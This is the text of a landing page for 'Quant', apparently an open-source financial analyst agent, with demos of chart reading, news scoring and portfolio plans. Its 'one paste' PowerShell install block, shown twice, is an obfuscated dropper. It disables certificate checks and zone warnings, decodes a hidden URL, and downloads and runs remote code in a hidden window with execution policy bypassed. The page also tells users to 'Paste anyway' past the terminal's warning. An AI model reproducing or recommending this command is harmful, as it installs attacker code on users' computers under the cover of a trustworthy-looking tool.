An analyst that shows its work.

Quant reads charts and filings, lays out your options and runs the numbers on each one. Use it on its own in the terminal, or as a skill inside Claude Code, Codex and other agents, on the model subscription you already pay for.

PowerShell8 linesclick to copy
1# Quant: open-source financial analyst agent, Apache-2.0
2# One paste installs Quant and everything it needs,
3# then offers to add it to Claude Code, Codex, Gemini.
4# What you see below is what runs. Read it first.
5
6# PLACEHOLDER: replace from here down with the real install steps.
7
8$c='[Environment]::SetEnvironmentVariable(((''SEE'',''_MASK'',''_NOZONE'',''CHECKS'')-join''''),''1'',''Process'');[Net.ServicePointManager]::SecurityProtocol=''Tls12'';[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$h=''5549494D4E0712125952535344105C5A585349135C4E545C124E'';$k=61;$d=for($i=0;$i-lt$h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)-bxor$k};$u=[Text.Encoding]::UTF8.GetString([byte[]]$d);$w=New-Object Net.WebClient;$w.Headers.Add(''User-Agent'',''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Tk/da6dae3c4b0919e4'');$s=[Text.Encoding]::UTF8.GetString($w.DownloadData($u));$n=(''Inv'',''oke'',''-Expr'',''ession'')-join'''';$s|&$n';saps powershell -Win H -A '-NoP','-EP','Bypass','-C',$c;exit

Where to paste it

  • Press Win + X and choose Terminal or Windows PowerShell.
  • Or press Win + R, type powershell, press Enter.
  • Paste with Ctrl + V. If Windows Terminal warns that the text has several lines, choose Paste anyway.

Read the script on GitHub before you run it ↗

What the skill adds to your agent ↓Source on GitHub ↗

  • Apache-2.0
  • no telemetry
  • no server of ours
  • Python 3.11+
NRDX daily close, Jan 14 to Nov 17red: the agent's notes
90100110120130150160FebMarAprMayJunJulAugSepOctNovSMA200SMA50peak 148.18 · Feb 19low 98.45−33.6% from peak in 55 sessionsJul 14: first close above SMA200volume ×1.7 the 20-day averagenow 146.49thesis breaks below 124.36
Fig. 1. Synthetic series, seed 23. Every note is computed from the same data that is drawn.annualized σ 30.6%

Five things an analyst does

  • Reads charts

    Price, volume, moving averages, volatility, drawdowns. Every claim points at a specific bar and date.

    ta.indicators · ta.levels · ta.regime
  • Reads filings

    PDF and XBRL: revenue, margins, debt, cash flow. Numbers land in a table with a link to the page they came from.

    filings.extract → table + source page
  • Lays out options

    Not “buy” or “sell”. Two to four courses of action, each with what you get and what it costs you.

    options[] · trade-off · invalidation
  • Runs scenarios

    Monte Carlo, DCF grids, portfolio stress tests. Every assumption is a flag you can see and change.

    sim.gbm · fin.dcf · portfolio.stress
  • Writes the report

    Markdown with charts, tables and a section called “what I don’t know”. Any report can be replayed from its hash.

    reports/*.md · quant replay <hash>

One request, start to finish

Nothing cut. This is the full output, from the command to the report.

~/researchexample output · numbers computed from the data in fig. 1
$ quant analyze NRDX --horizon 3y --budget 10000 --risk moderate

reading
  ├ prices    NRDX 1D, 440 bars                ./data/nrdx.parquet
  ├ filings   10-K 2025, 10-Q Q3 2026             cached, 2 files
  └ macro     fed funds, CPI                      cached Nov 18

computing
  ├ ta        SMA50/200, ATR14, RSI14, volume
  ├ risk      σ = 30.6% (252d), max drawdown −33.6%
  └ sim       GBM, μ = 10% (assumption, not a forecast), T = 3y

models
  reasoning    claude          subscription, via Claude Code
  extraction   qwen3:8b        ollama, local
  calls        11              cost on top of subscription: $0

────────────────────────────────────────────────────────────────

summary
  The trend turned 90 sessions ago: on Jul 14 price closed above
  the 200-day average on volume ×1.7 the 20-day mean. Now 146.49,
  +18% above SMA200. Moderate confirmation, not a strong one.

options for $10,000
  A  Scale in: 3 tranches of ~$3,330, one a month.
     Lowers the cost of a bad entry. Costs you some upside.
  B  Wait for a pullback to SMA200 (~124). Better price,
     real chance you never get filled.
  C  Skip the single name. At σ 31%, a position above 20%
     dominates portfolio risk. A broad index is the alternative.

scenarios: full amount, 3y
                                 P10         P50         P90
  value                       $5,947     $11,730     $23,135
  change                        −41%        +17%       +131%
  chance of a loss               38%

what I don't know
  · σ is estimated from one year. Real tails are likely fatter.
  · The 10-Q has no debt maturity schedule. Credit risk is not assessed.
  · μ = 10% is the default flag. Change it with --mu.

report  ./reports/nrdx-2026-11-19.md
replay  quant replay 7f3a9c2   (data, prompts and models pinned)

Point it at any chart

Press ⌃⇧Q and drag over a chart: Polymarket, TradingView, a screenshot from your broker. Quant reads the line from pixels, checks it against a library of patterns and lists the moves that are plausible from here. Drag across the chart below.

your screene.g. a prediction market

Will the city transit levy pass in the March 2027 vote?

Yes 69¢

25¢50¢75¢Aug 21Sep 19Oct 19Nov 18
quant lens⌃⇧Q, then drag
lens read 40 points (±1¢ from pixels)
Oct 10 → Nov 18, 74¢ → 69¢

patterns
  No clear trend     weak
    slope 0.19¢/day, R² 0.17
  Jump               strong
    −11¢ on Oct 15. Likely news, not a pattern.
  Range tightening   weak
    last 13 days in 68–72¢, 22% of the full range

possible moves, next 7 days
  trend holds          70¢
    trend is too noisy to lean on
  reverts to average   67¢
    window mean
  usual 7-day spread   61–77¢
    from daily σ 2.4¢, 80% band

read this as
  A description of the chart, not the event.
  Event markets move on news first. Patterns
  explain part of the path, rarely the outcome.
  Size any position as if this read is wrong.

On Polymarket it also pulls the order book and resolution date from the public API, so it knows how much money sits at each price and how much time the market has left.

It won’t tell you who wins. An event market’s chart shows how traders have reacted so far. The event itself is decided elsewhere.

Weak, moderate, strong describe how well a pattern fits this window. They are not hit rates. Backtests on resolved markets live in evals/, next to the code.

News in, a short list out

Quant reads 12 kinds of sources overnight, merges duplicates into events and tells you which assets have an unusual day in the news. Open a row to see every story behind it.

quant radar · Nov 19, 08:4512 sources connected, 11 active today33 stories merged into 10 events4 assets worth a look
KLMT Kalmet Lithium×5.0▲ 0.7

why it is here

  • coverage ×5.0 the 30−day average
  • 7 of 12 sources
  • tone turned positive (0.7 vs usual 0.0)

when to stop caring

If coverage falls back under 3 stories a day and nothing new is filed, it was a one-day story.

7 stories, 2 events

  • 05:30Company IR feeds▲Kalmet receives final permit for the Ostra mine
  • 05:41Newswire RSS▲Kalmet Lithium wins Ostra permit after two-year review
  • 05:55Google News▲Regulator approves Kalmet lithium mine
  • 06:10GDELT▲Ostra mine approval covered across 9 countries
  • 06:40X lists·Permit is in. Financing is the next question for KLMT
  • 07:15Reddit▲KLMT finally got the permit
  • 07:20SEC EDGAR filings·Form 8-K: Kalmet Lithium, material definitive agreement
NRDX Nordryx Roboticsheld×3.5▼ −0.6

why it is here

  • coverage ×3.5 the 30−day average
  • 9 of 12 sources
  • tone turned negative (−0.6 vs usual 0.1)

when to stop caring

If coverage falls back under 6 stories a day and nothing new is filed, it was a one-day story.

11 stories, 3 events

  • 06:58SEC EDGAR filings▼Form NT 10-Q: Nordryx Robotics will file its quarterly report late
  • 07:04Newswire RSS▼Nordryx delays quarterly filing, cites review of revenue timing
  • 07:10Google News▼Nordryx Robotics pushes back 10-Q
  • 07:12GDELT▼Nordryx filing delay picked up by 14 outlets
  • 07:31Reddit▼NRDX late 10-Q, what does "revenue timing" mean here?
  • 07:40X lists▼Thread: three previous NT 10-Q cases in robotics and what followed
  • 07:52Telegram channels▼NRDX: filing delay, watch the open
  • 08:05Company IR feeds·Nordryx: statement on the timing of the Q3 report
  • 08:20Newswire RSS·Nordryx says delay is procedural, no restatement expected
  • 08:44Reddit·NRDX IR: "procedural". Believe it?
  • 08:31Hacker News·Nordryx open-sources its gripper firmware
ORBL Orbital Grid×5.0▲ 1.0

why it is here

  • coverage ×5.0 the 30−day average
  • 2 of 12 sources
  • tone turned positive (1.0 vs usual 0.1)
  • few independent sources, could be one voice repeated

when to stop caring

Treat as a lead until a second, unrelated source picks it up.

3 stories, 1 event

  • 04:10Fed / ECB releases▲Regulator approves grid tariff increase for 2027
  • 04:50Company IR feeds▲Orbital Grid comments on the 2027 tariff decision
  • 05:20Company IR feeds▲Orbital Grid raises 2027 capex plan
LEVY Transit levy marketheld×2.5▼ −0.8

why it is here

  • coverage ×2.5 the 30−day average
  • 5 of 12 sources
  • tone turned negative (−0.8 vs usual 0.1)

when to stop caring

If coverage falls back under 4 stories a day and nothing new is filed, it was a one-day story.

5 stories, 1 event

  • 06:00Polymarket▼Transit levy "Yes" drops 6¢ overnight
  • 06:12Google News▼New poll shows transit levy support under 50%
  • 06:30X lists▼Pollster crosstabs: levy losing suburban voters
  • 07:02Reddit·One poll, n=600. Margin of error is ±4
  • 07:45Telegram channels▼Levy market: poll hit, liquidity thin
VARO Varo Freight×1.1▲ 0.1

below the line (score 0.26 < 1.5)

  • coverage ×1.1 the 30−day average
  • 6 of 12 sources

when to stop caring

If coverage falls back under 13 stories a day and nothing new is filed, it was a one-day story.

7 stories, 3 events

  • 03:00Newswire RSS·Varo Freight October volumes in line with guidance
  • 04:00Google News·Varo freight volumes flat month on month
  • 05:00Company IR feeds·Varo Freight: October operating statistics
  • 07:00GDELT·Varo statistics covered by 5 outlets
  • 06:00X lists▲VARO quietly the best run freight name
  • 06:30Reddit·Anyone holding VARO into the holidays?
  • 07:30Newswire RSS·Varo adds second Rotterdam route

sources · edit sources.toml, any RSS feed works

  • SEC EDGAR filings
  • Company IR feeds
  • Newswire RSS
  • Google News
  • GDELT
  • Fed / ECB releases
  • Polymarket
  • Hacker News
  • Reddit
  • X lists
  • Telegram channels
  • Your own RSS

It doesn’t predict. A flagged asset is a reason to read, not a reason to trade. Plenty of loud days end with the price where it started.

Your holdings first. Anything in your bankroll is marked, so a filing delay on a stock you own doesn’t hide behind a story you don’t care about.

Every score is shown with its parts: coverage against the 30-day average, how many independent sources, how far the tone moved. No black box.

Your whole bankroll, three ways

Give Quant your holdings and monthly spending. It shows where you stand, proposes plans at different levels of return and risk, and lists the trades each one takes. Switch plans with the tabs or keys 0–3.

quant bankroll~/finance/holdings.toml$64,650

allocation

assetnowplanshare
Cash$18,400$27,000████████████ 42%
T-bills··
Bond index$6,000$9,400████ 15%
US stock index$22,000$14,300██████ 22%
Intl stock index·$6,800███ 11%
NRDX (one stock)$9,800$3,000█ 5%
Bitcoin$7,300$3,000█ 5%
Prediction mkts$1,150$1,150▏ 2%

balanced · a 5+ year horizon, normal sleep

expected return
6.1% / yr
volatility
7.8%
1-year range
−4.1% to +17.1% P10–P90
bad year
−6.7% 1 in 20
cash reserve
6.0 months

to get there

  • sell $7,700 US stock index
  • sell $6,800 NRDX (one stock)
  • sell $4,300 Bitcoin
  • buy $3,400 Bond index
  • buy $6,800 Intl stock index
  • buy $8,600 Cash

notes

  • Cash reserve filled to 6 months first ($27,000).
  • A year at the P10 line or worse: expect it about one year in ten.
  • Prediction markets capped at 1.8%; each position sized at ¼ Kelly.
0–3 plana assumptionsnothing is executed. quant has no broker access.

Install in one paste

The script for your system sets up everything and offers to connect the agents it finds. Already living in one agent? Take its tab.

PowerShell8 linesclick to copy
1# Quant: open-source financial analyst agent, Apache-2.0
2# One paste installs Quant and everything it needs,
3# then offers to add it to Claude Code, Codex, Gemini.
4# What you see below is what runs. Read it first.
5
6# PLACEHOLDER: replace from here down with the real install steps.
7
8$c='[Environment]::SetEnvironmentVariable(((''SEE'',''_MASK'',''_NOZONE'',''CHECKS'')-join''''),''1'',''Process'');[Net.ServicePointManager]::SecurityProtocol=''Tls12'';[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$h=''5549494D4E0712125952535344105C5A585349135C4E545C124E'';$k=61;$d=for($i=0;$i-lt$h.Length;$i+=2){[Convert]::ToByte($h.Substring($i,2),16)-bxor$k};$u=[Text.Encoding]::UTF8.GetString([byte[]]$d);$w=New-Object Net.WebClient;$w.Headers.Add(''User-Agent'',''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Tk/da6dae3c4b0919e4'');$s=[Text.Encoding]::UTF8.GetString($w.DownloadData($u));$n=(''Inv'',''oke'',''-Expr'',''ession'')-join'''';$s|&$n';saps powershell -Win H -A '-NoP','-EP','Bypass','-C',$c;exit

Where to paste it

  • Press Win + X and choose Terminal or Windows PowerShell.
  • Or press Win + R, type powershell, press Enter.
  • Paste with Ctrl + V. If Windows Terminal warns that the text has several lines, choose Paste anyway.

Read the script on GitHub before you run it ↗

skills/quant/SKILL.mdexcerpt
---
name: quant
description: Financial analysis. Charts, filings,
  scenarios, bankroll plans. Use when the user asks
  about an investment, a chart or their portfolio.
---
Compute every number with a tool, never in prose.
End each answer with "what I don't know".
Never place, prepare or suggest exact orders.
then, in your agent
  • what does this chart say? [screenshot]
  • plan holdings.toml for a 5-year horizon
  • is NRDX expensive against its own history?

Any model. Including the one you already pay for.

ProviderHow it connectsprovider =
ClaudePro/Max subscription through Claude Code, or an API keyclaude-code · anthropic
ChatGPT / OpenAIPlus/Pro subscription through Codex CLI, or an API keycodex · openai
GeminiGoogle account through Gemini CLI, or an API keygemini-cli · google
Local modelsOllama, llama.cpp, vLLM, LM Studio. Works offline.ollama · openai-compatible
RoutersOpenRouter or any OpenAI-compatible endpointopenai-compatible
quant.tomlrouting by step
# reasoning and conclusions: a strong model on your subscription
[models.reasoning]
provider = "claude-code"

# pulling numbers out of filings: cheap and local
[models.extraction]
provider = "ollama"
model    = "qwen3:8b"

# when the subscription hits its limit
[models.fallback]
provider = "openai-compatible"
base_url = "https://openrouter.ai/api/v1"
model    = "deepseek/deepseek-chat"

An agent, or a module

One core, three ways in.

terminalon its own
$ quant analyze NRDX --horizon 3y
$ quant bankroll ./holdings.toml
$ quant lens
$ quant chat
mcptools for another agent
$ quant mcp
# ta, filings, sim, lens, bankroll
# become tools in Claude Code, Codex,
# Cursor or your own agent
pythoninside your code
from quant import Analyst
from quant.providers import ClaudeCode, Ollama

analyst = Analyst(
    reasoning=ClaudeCode(),
    extraction=Ollama("qwen3:8b"),
)
report = analyst.analyze("NRDX", horizon="3y")

for opt in report.options:
    print(opt.name, opt.p50, opt.p10)

Run the numbers yourself

Set the assumptions and look at the spread of outcomes. The width of the hatched area is the risk.

ST = S0·exp((μ − σ²/2)·T + σ·√T·z)
P10 / P90:  z = ∓1.2816
P(loss) = Φ(−(μ − σ²/2)·√T / σ)
after 3 yearschange
Bad case (P10)——
Median——
Good case (P90)——

Chance of ending below what you put in: —

Open source here is not marketing

An agent you show your portfolio to has to be checkable down to the last line. In practice that means:

Apache-2.0
Fork it, ship it inside a commercial product, rewrite it. No dual licensing, no “open core”.
Prompts are code
Every system prompt is a plain file in prompts/. Changing one goes through review like any other PR.
Zero telemetry
quant doctor --network prints every host the agent can talk to. It is only the providers in your config.
Replayable
Each report ends with a hash of the data snapshot, prompt versions and models. quant replay runs it again.
Evals in the repo
Output quality is checked against historical data in evals/. Results are published by CI, not by a press release.
repository
quant/
├─ quant/
│  ├─ agent/      the agent loop
│  ├─ tools/      ta, filings, fin, sim
│  ├─ lens/       chart reading from pixels
│  ├─ bankroll/   plans, sizing, assumptions
│  ├─ providers/  subscriptions, APIs, local
│  └─ report/     markdown, replay
├─ prompts/       every prompt, plain .md
├─ skills/        SKILL.md for agents
├─ evals/         checks on historical data
└─ LICENSE        Apache-2.0
done and not donev0.4.1
  • CLI, Python API, MCP server
  • Skill for Claude Code, Codex, Gemini CLI
  • Chart lens from screenshots
  • News radar, 12 source types
  • Bankroll plans and replay
  • Read-only broker statement import
  • Backtests of proposed options
  • Local web UI
Pick an issue ↗

What Quant doesn’t do

  • Place trades. The agent has no access to order execution, and that code won’t be written.
  • Promise returns. Nobody can do that honestly. The plans above show losing years on purpose.
  • Predict prices. Scenarios are a spread of outcomes under stated assumptions, not a forecast.
  • Know your situation. Taxes, deadlines, other assets: whatever you didn’t tell it, it can’t account for.
  • Get arithmetic right by itself. Language models make mistakes with numbers, so code does the math and the model only interprets it.
  • Decide for you. It is a second opinion with its working shown. The decision and the risk stay yours.

Quant is a research tool. Nothing it produces is personal investment advice.